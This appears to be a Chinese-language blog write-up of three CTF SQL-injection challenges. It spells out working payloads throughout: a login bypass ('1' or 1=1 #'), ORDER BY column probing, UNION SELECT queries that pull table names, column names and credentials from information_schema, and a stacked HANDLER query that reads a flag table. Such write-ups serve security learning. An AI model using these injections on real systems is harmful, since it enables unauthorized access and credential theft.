news 2026/8/12 16:08:03

CTF_Day2

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF_Day2

[极客大挑战 2019]EasySQL

这道题是非常基础的sql注入

进去之后就是一个登录界面,输入万能钥匙就能实现查到flag

1' or 1=1 # //用户名 1 //密码随意

[极客大挑战 2019]LoveSQL

这个也是sql注入的一种是命令执行注入

用万能钥匙注入后确实可以实现绕过,说明存在注入漏洞

但现在访问后没有flag,后尝试从别的角度入手,也许是还存在一个数据库可以访问,

从某一方面将union来实现访问一个网站后再访问另一个网站,也就是用union来拼接我们真正想要访问的;

但再用union之前先要知道访问的表里面有哪些是会出现回显的字段,

所以要先查表来就确定有几个字段

1' order by 4 #

order by 列名;

order by原本是 MySQL 原生语法:对查询结果按照某一列排序
它再sql注入时可以用来尝试测试有多少列,由于他的特性,在列数超过实际的列数时就会导致出现错误,可以这一特点来测试有多少列

当我用order by 3时会出现

代表访问不了而不是报错

代表当4时就已经超出了列数,表明要表内就是3列

后就是需要查阅相关的回显的是哪几列就输入一下内容

1' union select 1,2,3#

让后在后端运行的代码就是

select * from 表 where username='1'union select 1,2,3#' and password='1'

就是这样可以就看到是2和3位置是回显的,
可以看到3的字段都是password,尝试去进行爆破

select id,username,password from geekuser where username='$用户输入' and password='$pass'
select id,username,password from geekuser where username='1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #' and password='$pass'

拼接后就是这个样子,

就呢个够查到表的名称,看到另一个是l0ve1ysq1

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

不敢想现在的flag都是全随机的

[强网杯 2019]随便注

1';HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/12 16:07:05

苹果用户必看:无需越狱解锁iOS隐藏功能的终极方案

苹果用户必看:无需越狱解锁iOS隐藏功能的终极方案 【免费下载链接】misakaX iOS /iPadOS 16.0 - 18.0 / 18.1 beta 4, An ultimate customization tool, uilitizing the bug that makes TrollRestore possible. 项目地址: https://gitcode.com/gh_mirrors/mi/misa…

作者头像 李华
网站建设 2026/8/12 16:06:38

从Crooked Timber案例到实战:构建防恶意攻击的安全验证码系统

最近在技术社区看到有开发者反馈,在访问一些网站时遇到了形态奇特的验证码,比如标题中提到的“Crooked Timber”案例。这背后其实涉及到一个非常普遍且关键的网络安全话题——验证码(CAPTCHA)技术,尤其是其如何被用于恶…

作者头像 李华
网站建设 2026/8/12 16:01:20

如何将B站缓存视频转换为MP4:m4s-converter完整使用教程

如何将B站缓存视频转换为MP4:m4s-converter完整使用教程 【免费下载链接】m4s-converter 一个跨平台小工具,将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter 你是否曾经遇到过这样的情况…

作者头像 李华
网站建设 2026/8/12 15:59:59

Windows粘滞键后门:原理、检测与应急响应实战

1. 项目概述:Shift粘贴键后门——一个被忽视的持久化威胁 在Windows应急响应的实战中,我们常常把目光聚焦在那些“高大上”的远控木马、挖矿病毒或者勒索软件上,却很容易忽略一些利用系统原生机制、极其隐蔽的持久化后门。今天要深入探讨的&a…

作者头像 李华
网站建设 2026/8/12 15:57:44

【TongWeb8】使用 systemctl 管理 TongWeb 启停

在 Linux 环境中,TongWeb 默认一般通过 bin 目录下的脚本进行启动和停止:启动:./startd.sh停止:./stopserver.sh这种方式每次都需要进入 TongWeb 安装目录操作,如果服务器重启,还需要人工启动。可以将 Tong…

作者头像 李华
网站建设 2026/8/12 15:55:39

Windows Server 2016安装与管理实战指南:从核心特性到安全运维

1. 项目概述:为什么今天还要聊Windows Server 2016? 如果你是一名系统管理员、运维工程师,或者正准备搭建自己的第一台服务器,听到“Windows Server 2016”这个名字,可能会觉得有点“复古”。毕竟,它的后续…

作者头像 李华